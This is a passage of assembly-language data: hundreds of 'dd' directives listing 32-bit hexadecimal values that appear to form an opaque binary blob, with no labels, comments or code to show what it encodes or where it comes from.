dd 0FC01C72Bh, 0BC0FD805h, 74C8F97Ch, 0AAE50C07h, 4618061Dh
dd 3F63901h, 2FAB80EEh, 2E7F4h, 58EC774Ah, 4D38F5CBh, 8DE08800h
dd 4B22CF0Bh, 0A3F800C9h, 0C6CC5E72h, 801C53Ch, 0E516B343h
dd 0A4F4FCBEh, 0CDF313F9h, 0BF04404Eh, 0E68DC8Eh, 60002C74h
dd 0D6E80D43h, 488427h, 0FC7F743Fh, 929A7147h, 85668200h
dd 639E0A58h, 4F3F0002h, 2DB98DEEh, 9800B1E6h, 30407F6h
dd 4824A7FAh, 0FB0084C2h, 0BAF2F98Eh, 0AA003550h, 0EB780D66h
dd 0B6BC38h, 0FC7BFA27h, 0B4FFD86Bh, 0DBBF1200h, 0AD8050F7h
dd 40870031h, 0FDC87535h, 2638E829h, 0E420D4h, 0E6735F16h
dd 2CB4D1D2h, 4C158A00h, 0A21CF48Eh, 0CCF332C7h, 15407211h
dd 4B282342h
dd 0DA00B001h, 1D87C725h, 71B28Fh, 6FA8F186h, 42E672B0h
dd 8B9B7FCh, 803FFA80h, 247418h, 0EED59A61h, 5DE65EA9h
dd 5C507360h, 1FA5FB20h, 0DDC4B13Dh, 2C1B073Eh, 273B5079h
dd 0A300010Bh, 34AA5FFAh, 4B022Ah, 0F25BB6BBh, 0A26A1815h
dd 9B3FFDE8h, 0CBDD00A8h, 6F31EFC4h, 227560h, 2AD0387Fh
dd 0DD3E3DAh, 7B157201h, 0A64DCCEBh, 1ABAE8h, 0BBF52CA2h
dd 79123014h, 85943D05h, 0C400C013h, 9B0AB4ACh, 4DE90025h
dd 0ECE62712h, 9E003607h, 0B83E3FE4h, 443DBAh, 4DEFAB2Eh
dd 9D6A06CBh, 8EDC1C00h, 55D11063h, 0AE273F6Ch, 95A8AB00h
dd 11245EFBh, 0CD1D08BAh, 7030E403h, 1F15F65h, 0F2B75B38h
dd 81B6FC1Dh, 404A5A89h, 3CEF7978h, 63171A11h, 952C20CFh
dd 0A07C168h, 0E439530Ch, 378B5F80h, 0DFC630B6h, 42C44020h
dd 38A01274h, 85008687h, 0E9560CE8h, 365B33h, 0EF653915h
dd 0C457ABF2h, 18A1CD7Bh, 8B5C505Fh, 0AB00C098h, 91C3F89Fh
dd 515EEE97h, 4EE01025h, 425800E4h, 68BA8C40h, 0A0001699h
dd 0EC82F65Bh, 2E02EBh, 351C509Ch, 2514DC7Fh, 8E731F00h
dd 0FCEEF6E1h, 0F29601F5h, 4A907098h, 59F43081h, 0D4579203h
dd 0BF833Eh, 348B6CE0h, 0EDF7FA1Dh, 0D36398A8h, 231FA4B8h
dd 30071F08h, 0E280B927h, 338E569Fh, 0B3A913BAh, 346A89A0h
dd 8D4F7100h, 6664A615h, 26507A24h, 2021D43Eh, 26E6A080h
dd 35841F36h, 0C6700023h, 3C24B842h, 0C5F44706h, 0FA80C310h
dd 889F2C40h, 3E7400E8h, 1351CFADh, 3D3C4F1Dh, 22F2FF80h
dd 672B653h, 58D92FD4h, 0A4F4912Eh, 614E08C0h, 2512119h
dd 240A6276h, 0C4A0DAC5h, 5DB9ABC2h, 10A114Ch, 3E82BACh
dd 0CDF0135Eh, 0F46C0FFFh, 41E0F5B4h, 583C46BFh, 0DDC88914h
dd 0EDB080E4h, 0AEBE9Eh, 0A6ECEB68h, 696C375Ch, 44C7CD0Eh
dd 5ED34083h, 63BDB2Ch, 0FF87D2F8h, 0D700E10Fh, 0DA86286Dh
dd 3D607748h, 6E8BE2AEh, 3DF1FA5h, 84670B5h, 0AD67B5D1h
dd 27F34400h, 0DA9015h, 0BBFFE972h, 8456DE05h, 6E652103h
dd 908E1657h, 9A35E6h, 12D12D5Fh, 139994A7h, 1B02152h
dd 8B5C4527h, 0D7BAE1h, 0DB660F69h, 0F7161923h, 53E3B000h
dd 7B055AE9h, 0FBCC03BCh, 0B73B57EEh, 52E0D88Bh, 42000E4Eh
dd 89433CE4h, 651FACE6h, 2F231036h, 5B190D04h, 0D1F41024h
dd 0F85500FEh, 0B2DBAAA9h, 0D758CDA8h, 20296058h, 22E4E880h
dd 8890D883h, 49128C5h, 7E33BE00h, 2A4AD6h, 0D18AE540h
dd 0A9CC63FDh, 265FB00h, 0EF278DB2h, 0A0F0000Fh, 0DBADBC3Ah
dd 81908F2Fh, 4C4EB800h, 3B9454B2h, 927A002Ah, 126A8142h
dd 3200AE35h, 2408DED3h, 912F3Eh, 4F9896ABh, 0DF3CD85Ch
dd 7C352B00h, 0B88325BEh, 68342872h, 24CB008Dh, 83752A8h
dd 0D5191091h, 0D9188E78h, 4B0BBC0h, 96DF686Fh, 220DC017h
dd 411FB383h, 450193B4h, 9F4F5895h, 3D29D4h, 81B6388Eh
dd 0EA8657CFh, 25449800h, 0F92685A5h, 0D55B004Fh, 2975A868h
dd 40B457Ch, 6D177Bh, 4F447EE1h, 0C05751BCh, 0EADF3F4h
dd 0CC28C907h, 1B60BF60h, 800053D2h, 0E4E57509h, 11D6C7h
dd 0E9999B83h, 45CB5FB9h, 84FA8A09h, 8277F6A2h, 3D72445Bh
dd 371A8680h, 52010D26h, 13FEC6F9h, 15DC3BFAh, 4D3500B3h
dd 255DA055h, 7B003128h, 230C4E51h, 7801A4Ch, 0D15995Eh
dd 1777C2DCh, 55E60C40h, 38D82300h, 0BB91B693h, 52AD09DBh
dd 43001BFDh, 0D7315937h, 574D4600h, 23B03377h, 39730032h
dd 72A6F4C0h, 0F301EDADh, 559559BAh, 4D4A5B3h, 4B0C0FB5h
dd 430741F1h, 60052079h, 0CC077C5Ah, 0AA3E85A0h, 59FCD4D1h
dd 93D080E9h, 0F57A07BEh, 0E0C44F36h, 8974CA31h, 2584CF00h
dd 82343FB7h, 4F37001Fh, 798A44F4h, 330013ECh, 0EA78FB35h
dd 188FA90h, 0C1707191h, 803CE19Bh, 6CC822AEh, 439DD3h
dd 45604ADFh, 0C31E71E9h, 1C212A48h, 0C040D1C5h, 528FCE8Ch
dd 701A00FBh, 1990404Dh, 9E0782D2h, 0B48D69EEh, 402C6612h
dd 616260h, 0A0B1641Fh, 0B39EE7F1h, 0F81CA428h, 0EBCFCE1Eh
dd 669F2040h, 0D757C3h, 7BCBF5ABh, 0A653543Fh, 6A10B460h
dd 7210F09h, 0A83DB3B0h, 0F08AF786h, 7BDD813Ah, 2F317904h
dd 2C8758E3h, 0A0F07763h, 63E814h, 0F7E13335h, 7F112D84h
dd 5D031DE0h, 6DE27B17h, 9D94800Fh, 8A5103E1h, 239EFCCAh
dd 9001096h, 75608F40h, 14191404h, 98DB262Eh, 942A28h
dd 73B02416h, 0E887A412h, 1A882D17h, 0E011950Ch, 7D76FA34h
dd 18A72468h, 81618164h, 2024D98Fh, 0F0034C7Ah, 0AEDBD0A4h
dd 0CA2000E1h, 43B8EC76h, 59483587h, 4C80097h, 0E80E8174h
dd 0AD0D07B5h, 811DF56Ah, 0F419A107h, 43009F87h, 96807D61h
dd 4F57EAh, 0EB24B065h, 163CA58Fh, 1E53110Ah, 5A00A8A8h
dd 913126AEh, 9788C0ECh, 67C01DADh, 0E719DB1Eh, 4C9C9066h
dd 0E1046A00h, 509CE338h, 5F6AC76h, 12A50BDh, 4A60090h
dd 0E55C4ED7h, 0E26CD400h, 72C98A79h, 45ED03BFh, 80D1FEABh
dd 48CC1900h, 76DB23E7h, 4F4100F7h, 0B7B95150h, 1F7BEAD2h
dd 0BB847500h, 0F4CBF907h, 547F0098h, 2A4B654Ch, 5D002303h
dd 19091605h, 2E4F4201h, 578D62h, 0C84806A2h, 91048BC9h
dd 80D65F9h, 97E27090h, 9F9C0098h, 7A9BC68Eh, 0DB581A12h
dd 1C54004Ah, 91958BFAh, 9C2000FDh, 4B5D0C2Ah, 5EB8BF69h
dd 2100A877h, 0B91EE7D2h, 7A2498A2h, 7090B6h, 76DE31B2h
dd 64BCF9B1h, 0FE35AD0Eh, 1F054718h, 6F062C60h, 4FD32689h
dd 32604AAh, 14A8C06Eh, 7E24FB36h, 0DC012A64h, 0C512910Ah
dd 79B9E0F7h, 75B1037Dh, 0A4812380h, 830EABD0h, 30D89307h
dd 4440094Fh, 4249A18h, 573DBC1h, 9418802Bh, 0E5006B3Eh
dd 0E4831231h, 3076D4B0h, 0AB21B6F5h, 0F41FBEF6h, 0B940D214h
dd 0C0AC0367h, 0A7720026h, 2B31B450h, 0CB00F36Fh, 93526ADAh
dd 0F0B2F73h, 0EA33EF5Dh, 0DE8EAEC3h, 4DE4D0D4h, 1D0055D0h
dd 8E94ACDh, 1DF04925h, 80D25133h, 82042F87h, 1D908EF3h
dd 0F19CD107h, 26D589EBh, 38BF3381h, 1B92CDCh, 722B4F63h
dd 0E05F5A56h, 98005557h, 519F861Eh, 0BB45F1h, 0CFDA9570h
dd 1CD180A9h, 17724D0Fh, 0E2C3C18Dh, 57FC8408h, 8272EDh
dd 0ADC66285h, 4A2E8C5Ah, 54DBC707h, 0B747771h, 578EA480h
dd 0F14F00B1h, 6F3112F9h, 5900A498h, 0B53728BBh, 0BD5811h
dd 3AF9C047h, 9771E4BEh, 8F704A63h, 0F2F4D8C1h, 8ED30050h
dd 0FBF8741Ah, 0F602ADCFh, 0D03E485Eh, 0A90077D5h, 0F0300257h
dd 971D3CBAh, 0C6C08B83h, 258A5FA5h, 3CB00D2h, 727B99E7h
dd 8000BBA1h, 15B887CFh, 1EC0E59h, 16D2A806h, 0E4D973BFh
dd 0FB0739B9h, 9436ED8h, 0F35DABB3h, 0E19CF08Ch, 0A51D006Fh
dd 0BDCB30ECh, 0A307F017h, 1ABBE239h, 9F06A1FEh, 9197E798h
dd 0B7840067h, 0B94C58BFh, 18325930h, 0C03A339h, 2682D6CEh
dd 41F6B10h, 63409C09h, 657E7284h, 25F60E87h, 738085D3h
dd 2921BBB3h, 0F5F06F07h, 0AFD05A4Bh, 6181A353h, 2D9C71E1h
dd 0BBB0600Fh, 2B00F27Bh, 0D17E1B38h, 19D84958h, 201EF827h
dd 8BAE03C1h, 80DDE2C5h, 41E6790Ch, 0AA0C133h, 70AB0B19h
dd 601F8CD0h, 6B5FDAA1h, 250E6740h, 1DADDD5Bh, 6CC2CBBFh
dd 4C63021Ah, 0F5E04790h, 0D61F3A1Ch, 6880460Ah, 0A07B9732h
dd 5D980086h, 0A6F2BA33h
dd 0E905F85Ch, 770AA5CCh, 4B7481AAh, 9618895Bh, 8A8407B9h
dd 786A6431h, 70EB2188h, 453CB130h, 5F710C42h, 31035EDh
dd 4B27E104h, 78C119A5h, 8BB0191h, 526C014Ah, 0F4A42709h
dd 0AD0146EFh, 24B59066h, 4FFC7E25h, 8C1419A9h, 0E49A900Dh
dd 0B0A4399Dh, 0D753040Fh, 2A0276FFh, 60386141h, 0C03D08B8h
dd 0D745A220h, 0E9070460h, 103C9EA8h, 723F05D0h, 0B86460E3h
dd 0BFDB4238h, 10C05DF6h, 281A959Bh, 2890BEEh, 0C100C779h
dd 65727A8Eh, 0DDB32B00h, 0D944BF32h, 28500C64h, 8BB269D5h
dd 0FB2B9200h, 0E138003h, 58100439h, 80DAC841h, 8EF6988Bh
dd 0EA83B900h, 0CD314B2Ah, 4ABF0F0Dh, 5CC520AAh, 0F88FC063h
dd 0CF000910h, 0EA4BEC64h, 1E9EB9h, 11D5DB35h, 0C85E622Eh
dd 39E0A60Eh, 815B80E9h, 9C478Ah, 0FC3368DBh, 0FEB6B40h
dd 0A7600EE8h, 9C8FAD20h, 966800BDh, 233F2C06h, 0C019D5B7h
dd 0DD51604Eh, 9C085018h, 0C43B68E6h, 58B44024h, 1F6EE39Dh
dd 0C0C90CE4h, 15F08DBBh, 0E907D2E0h, 0B1707EE5h, 6DA308Ch
dd 7958FA6Ch, 4920206Dh, 0EA8130E8h, 0CF3D5470h, 37ADA800h
dd 0FC5D8417h, 0B60F3825h, 0A9C2197Bh, 80E130D8h, 42906AC0h
dd 0CC5923h, 819D486Eh, 550E9935h, 0C4E518C0h, 185B976h
dd 1D5A5EB4h, 0C83F521Ch, 4E0054F8h, 284B2F7h, 14391A4Fh
dd 0F5312F47h, 1AB07Ch, 3207C978h, 5DE1E0CAh, 0ECCD0A00h
dd 0A3D49162h, 5E482E6Ch, 8DED0014h, 0BE2D46F7h, 7741DE3Dh
dd 0C02E5707h, 6C41D73Eh, 0EAD41052h, 80960312h, 1B401D3Ch
dd 0E21A99E0h, 98634B00h, 7411F05Bh, 0EDE50FF9h, 38F84717h
dd 0A51F46E4h, 8F00EEC6h, 42BAAB6Bh, 1D749857h, 917850h
dd 4C3A03CCh, 2607B563h, 96EC9C86h, 511AED41h, 64018240h
dd 710900F3h, 283FC016h, 60DFE3D6h, 5B0A2300h, 72C47256h
dd 0D9EE01F6h, 0C5EA6209h, 0DD48F49Fh, 0E5EF1001h, 40672FE0h
dd 52EC1583h, 4900DE0Fh, 0EA1712Eh, 0BEBF2h, 55D83951h
dd 7AB4224Bh, 1C29D23Fh, 24A6A55Ah, 6D5EB51Dh, 40E198CCh
dd 49E5600Fh, 2F677A93h, 7B0783FCh, 0B92A0484h, 0F368A530h
dd 0D6255885h, 0BB5ED617h, 751FD41Dh, 8015130Fh, 0A4A1804Ch
dd 0FCC1001Fh, 0AA395F2h, 3279697Eh, 7B39D860h, 1A8EDEBh
dd 0FC89F0DFh, 0F822C679h, 2300C353h, 0D560D268h, 0C04BC25Eh
dd 62CB7530h, 5D7E4D15h, 48DEE4E4h, 0B852C3CFh, 2ECC20h
dd 0F6B18DC2h, 0E9C0F0E6h, 27181771h, 56B9EB63h, 80B6896Ah
dd 66F53E08h, 76EDF7D9h, 5248C17Eh, 8C6BD7B1h, 31E38920h
dd 6403B71h, 0D4BB7B8Fh, 0DB187D0Ch, 81646534h, 0A6299D83h
dd 10563A19h, 57118C41h, 30D329AEh, 0F561E4A3h, 0C0080B3h
dd 0FA987AC0h, 0EA7B7650h, 401E3BE4h, 2AAADB86h, 28045854h
dd 70FB6EBh, 58C54200h, 0E2E016EEh, 2DC08A00h, 0CD14348Dh
dd 990900A9h, 0F4FDA680h, 97183D45h, 0A5F00F49h, 0EBC30162h
dd 57FC4AAAh, 30B44425h, 7CEACF88h, 0D9F53603h, 284A2935h
dd 309C7538h, 3DB9CEA3h, 0F27A9063h, 39ACB100h, 45BDC176h
dd 0A0EB7AE4h, 0A1F618h, 0A685F22Ch, 0B202609Eh, 0F052740Ch
dd 2ADB49D6h, 3794458Fh, 5339EBD3h, 13C074B1h, 0C0A34DCh
dd 0C4DAC136h, 9DC9A780h, 6C4CB4h, 38B83D43h, 0C751736Fh
dd 4B91EB18h, 0A857C2D1h, 0B71AB8h, 2A6E779Ah, 493D272h
dd 0F068152Ah, 96D844h, 70EA03C8h, 0E1F4C17Fh, 0ECEB572Ah
dd 2890F06Ch, 8B3657Ah, 0E0884879h, 0C1615C80h, 2A031EEh
dd 78F812A4h, 0DC873A9Eh, 1040CD52h, 0E289F61Ch, 6C079DFh
dd 8A0C30FEh, 163B1CDAh, 46D88453h, 8C24970Fh, 8A49B8C9h
dd 0CBC0030h, 0E0CE481Fh, 5501192Ah, 8CDE1827h, 2985B868h
dd 7FE202h, 7623CE69h, 0F06C7022h, 96C1D50h, 5868AB24h
dd 0F8694246h, 85F410Ah, 0E3600ECCh, 0A6F639E9h, 0B8237FF5h
dd 314600C7h, 306C4822h, 0B7008F71h, 10DECA73h, 0C53E93Fh
dd 0F436AE05h, 0B4564B59h, 0CF070584h, 3401FD5Ah, 221C3460h
dd 0DEE18AF0h, 58B20081h, 0DBF4680Dh, 0F04AED2Ah, 70443C90h
dd 7D9773A7h, 1FA900B2h, 3657309Ah, 4E16A568h, 0D600181Ah
dd 70091B86h, 0E8D7634Bh, 0F10063C2h, 8A62B122h, 1E819251h
dd 0FB312E1h, 40E4D296h, 0DBE48311h, 0A94449CBh, 9900923Ch
dd 19068BBh, 76494B39h, 0E7A3003Ah, 7508C1EBh, 0D2267006h
dd 0DCC064D6h, 252D8184h, 5A783EBDh, 485D60C4h, 21B25245h
dd 20553E94h, 1C927A04h, 6FAB0801h, 70B631CDh, 91A284F0h
dd 410E1B78h, 5F88AE80h, 663B3300h, 0ADBF4908h, 899203B4h
dd 1E609085h, 8055302Ah, 12FA5D03h, 2AB9CCFBh, 67902710h
dd 0C12C514Ch, 34A8A3ECh, 0BF0180F8h, 8DB132F1h, 94C0AE43h
dd 52480091h, 0E9446F16h, 34F149C0h, 5A638D38h, 8B015B69h
dd 5D9CC17Ch, 0A44C2C31h, 3A6840A7h, 7F323700h, 568D7DABh
dd 389F5947h, 1806C810h, 0F4516DC2h, 0F900072h, 959A70EDh
dd 550A66FAh, 0A0A2A148h, 2784B809h, 1C71E084h, 7D208EBFh
dd 40DF0097h, 0FF879D57h, 5AE87DA8h, 7030C750h, 989288h
dd 576C903Fh, 67523366h, 35E18909h, 0E2D2863Ch, 21550028h
dd 3B4ABB56h, 9C914E88h, 10C3E134h, 0AC30C501h, 4D9BEA55h
dd 5ED3ACB7h, 4F4901ACh, 0F4B73CCEh, 5E183853h, 0DC382ADEh
dd 9C99D4EDh, 0C1F4B224h, 0C099A6A0h, 8A051AB3h, 86379714h
dd 51185ABCh, 7BB881FCh, 23C031DFh, 5E7F547h, 87380EE0h
dd 2162CE45h, 4C4DD44h, 31319E30h, 242C91F6h, 1E9F88Ch
dd 2357F5B7h, 723C2061h, 49A1DC6Ah, 0DFA3A131h, 56F1834h
dd 4061968Ah, 0F05FD765h, 0B3F97E36h, 14B8DC2Ch, 8144804Eh
dd 0CB4E8DB0h, 0AC10C259h, 2270AC49h, 0E8BA9C00h, 942B18EFh
dd 20436433h, 5A60D169h, 0D3E9851Fh, 0F89194BEh, 0DC11E3A9h
dd 9430A4D2h, 26055261h, 7D19F006h, 0A339BBB6h, 6E0E5062h
dd 73C3DB12h, 2803071Dh, 94D9B6B4h, 8FADA148h, 1D9E184Ch
dd 19987113h, 67661087h, 1077414h, 3E37E829h, 9F81BF4Fh
dd 63DB2816h, 80761422h, 2412D37Dh, 0C420C19Ch, 2E15C933h
dd 8A08170Ch, 8FD089B8h, 0A408247h, 0B6239A08h, 4B849954h
dd 26B0D11Dh, 0B7429444h, 0E4C1D1C2h, 4E9098h, 0DD3C7F40h
dd 0C8DE2DFFh, 0F94F120Eh, 24FC75B1h, 2502E708h, 44C1D921h
dd 26E89808h, 93C45FFEh, 0F5F200BDh, 79F7CD2Dh, 66476C90h
dd 7C472000h, 13FC1C86h, 411262FAh, 1420ACCCh, 98464B03h
dd 0B7BE013Ah, 6788F0D4h, 0E890F511h, 0F4A01E61h, 5D7757F6h
dd 0D1CAE50h, 898EB200h, 0A44AC541h, 1DA3E6CEh, 399B9E08h
dd 609F7B97h, 0C24C8C5Ch, 0B7323Ch, 3BFDBB9h, 5805361Eh
dd 85C74C6Dh, 1410EF2Dh, 42B82855h, 6D7450CCh, 0B5F600F1h
dd 0D17313E8h, 89D44438h, 6524D0D5h, 6A00D9C0h, 0ABF846F9h
dd 1551BB2h, 0B9624EAAh, 0CCD784C2h, 10939A14h, 3C028039h
dd 0AEAC6130h, 0C3633C1Ah, 80E8B22Ah, 1FE8AABCh, 16BC80B9h
dd 81842F6h, 0F52068ADh, 4455430h, 462267CDh, 0FBFC8C4Ah
dd 0E70C7200h, 0A337D3A8h, 0BF525CC2h, 0ED5FE60Bh, 40E488A4h
dd 3A3495CAh, 7AD000F1h, 0D80963D3h, 7D17C59Dh, 0E444B4A1h
dd 0EB4F6895h, 0B9542817h, 5889B50Eh, 0DB368037h, 0B96C3AD2h
dd 898824F0h, 2062E4DCh, 52A6D430h, 1439F200h, 0DC7F2630h
dd 3D05BD74h, 64C8910Dh
dd 0D371935Bh, 0FFE85000h, 0B9C19457h, 70FD00FCh, 555CCD3Fh
dd 6F118803h, 923B3h, 17DF3E40h, 0EA434103h, 6198F305h
dd 0C482EB9Bh, 0B01829F6h, 3A07797Fh, 2D381765h, 0D34D84B0h
dd 0CCFA5244h, 9B1A9E0Fh, 0B14E9741h, 0A7D84CEBh, 24944898h
dd 0DC47FE40h, 4A9D3C03h, 2849918Ah, 8CDA8484h, 90634E29h
dd 0F2FEA201h, 28704D25h, 99A4C020h, 1308F83Bh, 71EBC08Fh
dd 0C089AFF0h, 4300D852h, 6E05D406h, 254FAE9Fh, 6CB0B8D1h
dd 0C304EA5Dh, 0C0764350h, 0AAB78CD1h, 0AC229029h, 644A7A01h
dd 270A69E6h, 0C042E182h, 0C64EDD7h, 245A900Bh, 7F48B961h
dd 7859F60h, 0EA77A579h, 7A2AA015h, 73503A2Dh, 6E18729Dh
dd 0EE31F9C0h, 96050032h, 3EE81554h, 0B00F083h, 0E10D726h
dd 9293C5CDh, 0DC05257Ch, 70FD4A2h, 49AA6E00h, 0AD75025Ah
dd 726A4E82h, 9DC1B0A5h, 0F9BC17A0h, 0C04ED06Ah, 24F36C90h
dd 0E24B8570h, 2C8C1412h, 82920F47h, 3623ED7Dh, 0A889D88Dh
dd 3EE8703Ch, 0A6B74604h, 8D3D087h, 9B7CE8ADh, 0DB2200D1h
dd 15C3574Bh, 90010D81h, 0CFFD83B7h, 0A4749510h, 0ECB35C20h
dd 0B471309Eh, 9400274Fh, 0BB6FFA69h, 0A1E384Bh, 5F593B81h
dd 6528E6Ch, 0A3B48C92h, 0B794D954h, 9DA9000h, 49400703h
dd 0D0A601B8h, 9A36055Dh, 58A862D6h, 0B4F16874h, 1B45EF00h
dd 30DC14h, 0B6129B4Ch, 0D8C5F3E2h, 2C004A73h, 0F9606F4Fh
dd 0E7AB5h, 1BC24D05h, 143BD8C4h, 0EE00BA74h, 0F3227192h
dd 305AA6FEh, 0E21899C8h, 5518C5AEh, 0EE5006DDh, 34F7A8Eh
dd 35E9E66h, 1800AF52h, 5BDBE118h, 68A0C04h, 0F14B5516h
dd 0E500400Eh, 6C146D82h, 0CCAC4F6h, 0C24A03C5h, 3900C938h
dd 98388A46h, 0EE5781BBh, 0E5620094h, 0A87F4C1Ah, 5518A903h
dd 0D8105DAh, 98A1E1F4h, 3BBB0024h, 5D53D6D5h, 81AC7A00h
dd 0F6F0AB3h, 56C906CBh, 0C10541CCh, 0BD633F00h, 85319F3Ch
dd 0AE77181Ch, 0A055C95Dh, 0EEA32319h, 689E0BB8h, 55106A74h
dd 0CDF098A9h, 9220C336h, 9000E559h, 8F295DABh, 7EA30683h
dd 3AF80032h, 2248899Fh, 30C36530h, 0AEEE2BC2h, 0E3CE1448h
dd 6F00209Bh, 9F615220h, 66003601h, 3A6FD25h, 1581F974h
dd 0A0CEBD17h, 3D912630h, 5E0C8D70h, 988453F0h, 0C1786673h
dd 0F1000A4Bh, 8D39DF52h, 448B8B0h, 822C97A6h, 0EB00831Ch
dd 0E3E07818h, 0C15B06D0h, 0F8E52B59h, 4D78D05Dh, 5C840F54h
dd 849108E3h, 97D0C964h, 6507DC41h, 2A302243h, 0DBFCDCB5h
dd 3109A503h, 0C8B2FF4Bh, 2E43E89h, 9EA636ECh, 0F0A18FC2h
dd 8418C6F7h, 2C06B868h, 0DE235340h, 10008FB2h, 0E9AB4102h
dd 3DD0A962h, 0B38A24E6h, 83A45A9Dh, 274959DFh, 0AF67B4D8h
dd 9991A602h, 8DC281B9h, 0C40AF0A0h, 3902DC00h, 40FBF12Fh
dd 9828C068h, 0A8AAA91Eh, 8A67436h, 293B31D0h, 0C17A9599h
dd 6873D00Eh, 9A861A00h, 617FDDFBh, 4809209h, 0DAE66C55h
dd 0CD248830h, 4C8EF906h, 2A20C1DDh, 7894CBD1h, 54921Bh
dd 0F59C2074h, 9B6B9445h, 56B31815h, 0AACE00DCh, 89673CFBh
dd 0F2BC38D0h, 3B0BDA06h, 4F984908h, 7F5B0F0Ah, 881DD8C3h
dd 0E3F9C822h, 7487183Eh, 402192E1h, 310062E2h, 14C007A7h
dd 0A9D4DC32h, 98C961Ch, 2F395C73h, 2AE9220Ah, 0DD8DE03Eh
dd 0A0034924h, 191787Bh, 0C763E57Fh, 50540640h, 0E33C6E84h
dd 4913D500h, 9B76E229h, 8AE4E75Ah, 2FF4319Eh, 81500328h
dd 0E7D19231h, 10A433F5h, 0BAF9080Ch, 65044822h, 396D7806h
dd 37458E00h, 3A2A0BA9h, 820DE0DCh, 30439308h, 84988404h
dd 0FF2F00B3h, 2919C590h, 0C74D496Bh, 0C956310Ch, 60415D74h
dd 39B9FD3Bh, 0F5FCF78Fh, 2BA062C0h, 18CC1879h, 88116196h
dd 1C1EF136h, 55874742h, 38C915D0h, 111A1DCh, 8DA2C829h
dd 80D4EDDBh, 5AE54FC9h, 39470998h, 0B0CD992Dh, 23DB7413h
dd 51D63B84h, 0F28FA400h, 946F9D44h, 425EEB6h, 8E5CBCF1h
dd 2094874Eh, 7466B9E1h, 1EBF8400h, 73C320F8h, 2C89C372h
dd 38C8F78Dh, 509087DFh, 38E3F330h, 0B0D34458h, 0E6F48835h
dd 0C22D0E29h, 4F614E78h, 0F5F80456h, 70E1E1E8h, 0E7247FCAh
dd 0CA105051h, 57206C81h, 96EF4DBh, 0F7036973h, 1DFB0BADh
dd 5159C09Ah, 26E1C9E5h, 0D0453C9Ah, 87C4C890h, 4C8C24C3h
dd 424993Bh, 8031707Ah, 0E8224F9Fh, 0C96A800h, 83F9FA4h
dd 8C59498Bh, 0F85F9314h, 22522284h, 920320F2h, 0B201C04Fh
dd 0ED510E71h, 0AC4887CDh, 0F294729Dh, 998498F6h, 116824A4h
dd 6D3100FDh, 0C3802F0Bh, 0DE770003h, 0A47AB37h, 0B5490DAEh
dd 0BA8864F4h, 158EDC98h, 0F84106F6h, 1FE52400h, 1237572h
dd 325AAB00h, 0F569A53Dh, 956138F2h, 4020DAA4h, 0DF0E34D4h
dd 3842E49h, 0E41CB97Bh, 51F630h, 53A2C9A0h, 35632B55h
dd 0CCE7AE03h, 0A8A6805Fh, 39DD7C40h, 8A058408h, 404803E5h
dd 0A618D58Ch, 0A31EA0E6h, 0E9C3B39Ch, 510B70Eh, 9F4ACEC9h
dd 99BC80EBh, 51F9DC27h, 506773D0h, 0C17717E8h, 0E4486403h
dd 99B89575h, 0E052FCD3h, 1CF4202Bh, 0FCF96E18h, 0BC00C330h
dd 0CC4C3CDCh, 0B6F50FFh, 6D6B6CF4h, 0E0BF2027h, 0DED729Ah
dd 0C3E20512h, 0E3F44004h, 19261C92h, 4D2C2720h, 0FB0D0B6Ch
dd 32C235Bh, 3B310057h, 4A694B04h, 0E022751h, 724D96C8h
dd 201C8BE5h, 56CF3F94h, 0B8DC2055h, 1262F0DCh, 79BFCCCh
dd 0A0FE1572h, 301EAA9Eh, 0DFE18D0Ah, 9243DC05h, 34811F53h
dd 0A4AF4742h, 2B313024h, 0A5010F30h, 6A10D3CFh, 0B8488118h
dd 0DC845C1Ah, 28D52C4Ch, 580C8811h, 0F026C05Ch, 7B0AF4h
dd 0F3767A52h, 3FB15DA7h, 72B6E604h, 3024EEEAh, 60784CD8h
dd 7ABC4903h, 99AA436Eh, 98343CB5h, 0A35D215Ah, 9020E21Dh
dd 3E2491E8h, 3E27A92Ch, 0B807F056h, 11E60307h, 0F03A2E08h
dd 0F30FC6ADh, 21BAA688h, 39E0FB75h, 92F6EC24h, 8BCC09ACh
dd 304102F9h, 92608CEFh, 15E154h, 0B329DA31h, 230B4BCh
dd 3C202159h, 0A690D5CBh, 50EA9450h, 115046h, 0AC6B97C4h
dd 0D35CA98Bh, 676F4605h, 87FB07C9h, 8C2E65CFh, 567491ACh
dd 89805E89h, 81675902h, 0FC0090E8h, 0C730D169h, 20A136D2h
dd 0E318B537h, 3231559Bh, 4EF3004Ah, 233034BEh, 417D38Dh
dd 900BC443h, 1BA418C9h, 967B95h, 3F2BBA77h, 1A933755h
dd 0F3114704h, 94101C01h, 2B7D7202h, 304AA670h, 68CC80C2h
dd 0BF40CE00h, 3768BD92h, 0A08EC1Ch, 0C935E676h, 0FFE0EE88h
dd 0E9CB9F3Ch, 0C11B4600h, 177F3F7Dh, 2C6417EDh, 0F908423Dh
dd 0BF20E55Dh, 49A4AD72h, 0F04C4891h, 841CFBA0h, 11C6BC25h
dd 8848924Ch, 8D1300B0h, 391F31F1h, 0BF3D9681h, 50D3A411h
dd 200830A6h, 0C15A80BAh, 0D797B199h, 0A5F55800h, 988B7C96h
dd 1648921Fh, 6BF2C1h, 6123ED7Fh, 0E3FC2D36h, 6A44D492h
dd 0D7620720h, 0D74BEC92h, 840690C7h, 61321D81h, 2E54C138h
dd 0BF1AEAh, 24A6ACB6h, 7E98DDCFh, 11D42605h, 0B08CE4A7h
dd 0BF8E027Eh, 13CC4EEAh, 9148D0A2h, 7F024464h, 749095D4h
dd 0D880A1A7h, 9C4D1C0Ch, 550D2A20h, 6AE1C8F7h, 4BA507C0h
dd 36F02856h, 112E1200h, 0D6099E3Dh, 68C35959h, 0B8106080h
dd 3D03D063h, 0BF7F8C6Fh, 0AB01E42Eh, 0C1E8E678h, 0D880ABACh
dd 5D8EC800h, 0A733CCh, 0B049BCC9h, 9EB28880h, 0EFB8302h
dd 4E5A1136h, 5A491FCh
dd 16FE0DCEh, 32881260h, 0A466F158h, 86188F70h, 0CE81D6A6h
dd 48FD0B69h, 0E4A7DF24h, 4050858Eh, 0DA188D94h, 4026D376h
dd 4B16E8D8h, 34D17C61h, 79E22441h, 0A0CBB853h, 60DF5Eh
dd 89F5F89Bh, 75E73862h, 192821C0h, 68F206h, 6C2287CBh
dd 0D737ADF8h, 3EA42600h, 0A29333CFh, 0C1F42564h, 0C289D482h
dd 0B653800h, 6EFD029Ch, 4B564C3h, 0F02658E5h, 0D7ED4541h
dd 0F0629421h, 6254D02Ch, 0CD382394h, 50B906h, 8E236469h
